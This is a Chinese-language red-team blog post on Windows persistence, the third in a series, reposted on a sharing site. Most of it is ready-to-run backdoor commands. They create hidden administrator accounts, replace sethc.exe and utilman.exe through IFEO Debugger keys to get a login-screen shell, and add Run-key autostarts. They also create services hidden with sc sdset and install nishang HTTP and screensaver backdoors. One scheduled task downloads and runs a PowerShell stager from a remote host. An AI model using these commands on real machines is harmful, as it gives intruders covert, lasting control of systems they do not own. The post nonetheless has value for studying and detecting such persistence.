首页 > 其他分享 >连载|浅谈红队中的权限维持(三)-Window主机后门

连载|浅谈红队中的权限维持(三)-Window主机后门

时间:2024-07-18 15:57:23浏览次数:20  
标签:脚本 后门 exe 浅谈 权限 Window teamssix 红队 REG

前言

本文来源无问社区,更多实战内容,渗透思路尽在无问社区icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/11101.html

续接上文 浅谈红队中的打点(连载第二篇)

不过因为一些权限维持的方法需要管理员权限才行,所有这时又需要先提权才能做权限维持;有时如果想做域控权限维持又需要先进行横向移动。

所以实战中并不会像上面的图一样一步一步的来,这个是要根据实际情况去具体分析的。

注意:本系列侧重的是面,不是具体的点,因此文中不会面面俱到的谈论每个方法具体怎么利用,这里更加看着的是知识点的一个梳理。

0x01 Windows 主机后门

1、隐藏账号

这个是比较常见的创建后门的方法,直接建立一个隐藏账号

net user teamssix$ Passw0rd /add

net localgroup administrators teamssix$ /add

虽然使用 net user 是看不到这个账号的,但是在控制面板里可以看到,因此这种隐藏效果并不是很好。

想要更好的隐藏效果,可以通过注册表克隆用户实现,只是操作起来比较繁琐,所以我这边写了一个利用注册表创建隐藏用户的小工具。

工具地址:

https://github.com/wgpsec/CreateHiddenAccount

直接使用以下命令,就可以轻松的创建一个隐藏用户。

CreateHiddenAccount.exe -u teamssix -p Passw0rd

创建完后,通过 net user 和控制面板等等都是看不到这个账号的。

也可以拿来检查当前系统的隐藏账号

CreateHiddenAccount.exe -c

删除用户也很方便

CreateHiddenAccount.exe -d teamssix

2、计划任务

计划任务也是比较常见的权限维持方法,计划任务在 Win7 之前使用 at 命令,之后的系统中使用 schtasks 命令。

例如每小时执行一次 calc.exe

schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1

当系统空闲时,执行 CS 上线 PowerShell 脚本

schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1

除了使用系统自带命令外,还可以使用 PowerSploit 渗透测试框架里的 Persistence 模块自动创建计划任务后门。

3、shift 后门

这个也算是比较知名的后门方法了,直接使用 copy 命令即可

copy C:WindowsSystem32cmd.exe C:WindowsSystem32sethc.exe /y

如果提示访问被拒绝,可以在管理员权限下,加上 everyone 的权限再试试。

cacls C:WindowsSystem32sethc.exe /T /E /G everyone:F

然后在登录界面按 5 下 shift 键就能打开 cmd 窗口了。

使用注册表也可以。

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v Debugger /t REG_SZ /d "C:windowssystem32cmd.exe"

除了 按 5 下 shift 打开粘滞键的功能外,同样的道理,还可以使用辅助工具、放大镜、屏幕键盘等等。

辅助工具 utilman.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

屏幕键盘 osk.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsosk.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

放大镜 Magnify.exe

REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsMagnify.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

4、组策略

新建一个 bat 文件,这里 bat 内容为 calc

使用 gpedit.msc 进入本地组策略,来到用户配置 --》Windows 设置 --》脚本登录,点击浏览选择 bat 文件,当用户登录时就会触发这个 bat 文件。

5、注册表

在系统启动的注册表下添加恶意程序,这样当用户登录系统时,exe 就会被运行,或者将 exe 直接放到系统启动的文件夹里也是一样的道理。

reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "Vmware Regg" /t REG_SZ /d "C:WindowsSystem32calc.exe" /f

6、服务自启动

直接使用命令创建服务

sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem

启动该服务

net start teamssix

虽然报错了,但其实是被执行的

只不过这种创建服务的方法隐藏性太弱,直接在服务里就能看到。

可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务。

sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

使用以下命令就能恢复。

& $env:SystemRootSystem32sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

7、nishang 后门

nishang 是一个 PowerShell 项目,里面集成了众多工具,其中包含有制作后门的工具,nishang 项目下载地址:

https://github.com/samratashok/nishang

HTTP-Backdoor

cd nishangBackdoors

Import-Module .HTTP-Backdoor.ps1

HTTP-Backdoor -CheckURL http:

命令解释如下:

  • CheckURL 如果检测地址存在,再执行 Payload 里的脚本
  • PayloadURL 需要下载的 PowerShell 脚本地址
  • StopString 判断存在 -CheckURL 返回的字符串,则停止执行
  • MagicString 判断存在 -CheckURL 返回的字符串,则开始执行

这个脚本感觉是挺有意思的,该脚本会不断读取 CheckURL 的内容,这里设置的 MagicString 为 start,那么当 http://192.168.7.1/1.txt 内容为 start 的时候,就会执行 http://192.168.7.1/calc.ps1 脚本。

Add-ScrnSaveBackdoor

Add-ScrnSaveBackdoor 脚本可以帮助攻击者利用 Windows 的屏幕保护程序来安装一个隐藏的后门,该脚本需要管理员权限。

Import-Module .Add-ScrnSaveBackdoor.ps1

Add-ScrnSaveBackdoor -Payload "Powershell.exe calc"

当屏幕保护程序启动时,就会运行 Payload 里的内容。

除了上面的两个脚本外,还有 Execute-OnTime 和 Invoke-ADSBackdoor。

其中 Execute-OnTime 和 HTTP-Backdoor 脚本的使用方法相似,不过增加了定时启动脚本的功能。

Windows 下的制作后门方法当然不止上面这些,还有其他的比如进程注入、dll 劫持等等。

未完待续

标签:脚本,后门,exe,浅谈,权限,Window,teamssix,红队,REG
From: https://blog.csdn.net/wuwenshequ/article/details/140525334

相关文章

  • Windows 11开始菜单变了!应用分类显示 更好找
    Windows11重新设计了开始菜单,虽然备受争议,但其实也挺好用的,只是有一个槽点,安装了太多应用软件之后,滚动列表会非常长,很难找到自己需要的。在最新的Windows1122635.3930测试版本中,微软隐藏了一个新功能,尝试重新设计开始菜单的应用列表,增加了一个“类别”(Category)模式。在这......
  • 分析nirsoft出品的几个日志查看工具 windows
    介绍官网https://www.nirsoft.net/包含lastactivityview(程序打开日志查看)、turnedontimesview(系统开关机日志)、winlogonview(系统登陆日志查看)以上三个均为个人经常使用,并已经打好中文补丁。均为绿色免安装版本,解压直接食用。打包下载下载:https://damon8.lanzoub.com/izGOX2......
  • 使用ventoy安装windows10
    使用ventoy安装windows10在ventoy中选择windows10镜像进入Windows安装界面下一步,选择现在安装稍等片刻选择我没有产品密钥根据需求选择对应版本下一步,接受许可条款下一步,选择自定义选择安装位置注意:我这里只有一块硬盘,且没有分区,直接选择下一步即可。安装程序......
  • Windows入门
    1.隐藏和显示控制台窗口WM_SYSCOMMAND:系统命令消息。SC_MINIMIZE:将窗口最小化。SC_RESTORE:将窗口还原。#include<windows.h>intmain(){HWNDhWnd=GetConsoleWindow();::SendMessage(hWnd,WM_SYSCOMMAND,SC_MINIMIZE,NULL);//程序运行至此处后,控制台......
  • linux系统和windows系统如何同步时间,服务器时间变动怎么同步
    一、Linux系统时间同步1.使用NTP(网络时间协议)NTP是最常用的Linux系统时间同步方式。NTP通过连接到外部时间服务器(如原子钟或GPS接收器)来获取高精度的时间信息,并校准本地系统时间。步骤:安装NTP客户端:在Ubuntu系统上,可以使用命令sudoapt-getinstallntp安装NTP客户端......
  • 浅谈后置处理器之XPath2 Extractor
    浅谈后置处理器之XPath2Extractor相比于XPathExtractor,XPath2Extractor支持更广泛的XPath2.0标准,提供了更丰富和灵活的查询能力。本文档将详细介绍如何在JMeter测试计划中配置并使用XPath2Extractor来提取数据。XPath2Extractor简介XPath2Extractor作为JMeter......
  • windows不下 Docker Desktop 也能部署 docker程序
     可以在Windows上不安装DockerDesktop直接使用Docker服务,但这需要一些额外的设置和配置。以下是一些方法,可以在Windows上实现这种配置。 使用WindowsSubsystemforLinux(WSL2)1、启用WSL2:打开PowerShell并运行以下命令以启用WSL和WSL2:dism.exe/on......
  • 浅谈Visual Studio 2022
    VisualStudio2022(VS2022)提供了众多强大的功能和改进,旨在提高开发者的效率和体验。以下是一些关键功能的概述:1264位支持:VS2022的64位版本不再受内存限制困扰,主devenv.exe进程不再局限于4GB,允许用户打开、编辑、运行和调试最大和最复杂的解决方案。内存和性能改进:核心调试器......
  • Windows "该项目不在请确认该项目位置,然后重试" 一个解决方法
    Windows"该项目不在请确认该项目位置,然后重试"一个解决方法我的博客使用工具:MobaXterm软件。本人在下载Linux源码到Windows系统解压后,尝试删除时发现报错"该项目不在请确认该项目位置,然后重试",因不了解Windows的文件结构,更不了解Windows的脚本、注册等机制,因此使......
  • 安装Windows subsystem Linux
    1.启用功能在系统设置里面,启用子系统功能。2.安装从商店安装或者命令行安装3.初始化报错1: ​造成该问题的原因是WSL版本由原来的WSL1升级到WSL2后,内核没有升级,前往微软WSL官网下载安装适用于x64计算机的最新WSL2Linux内核更新包即可。报错2:Windows子系统初始化......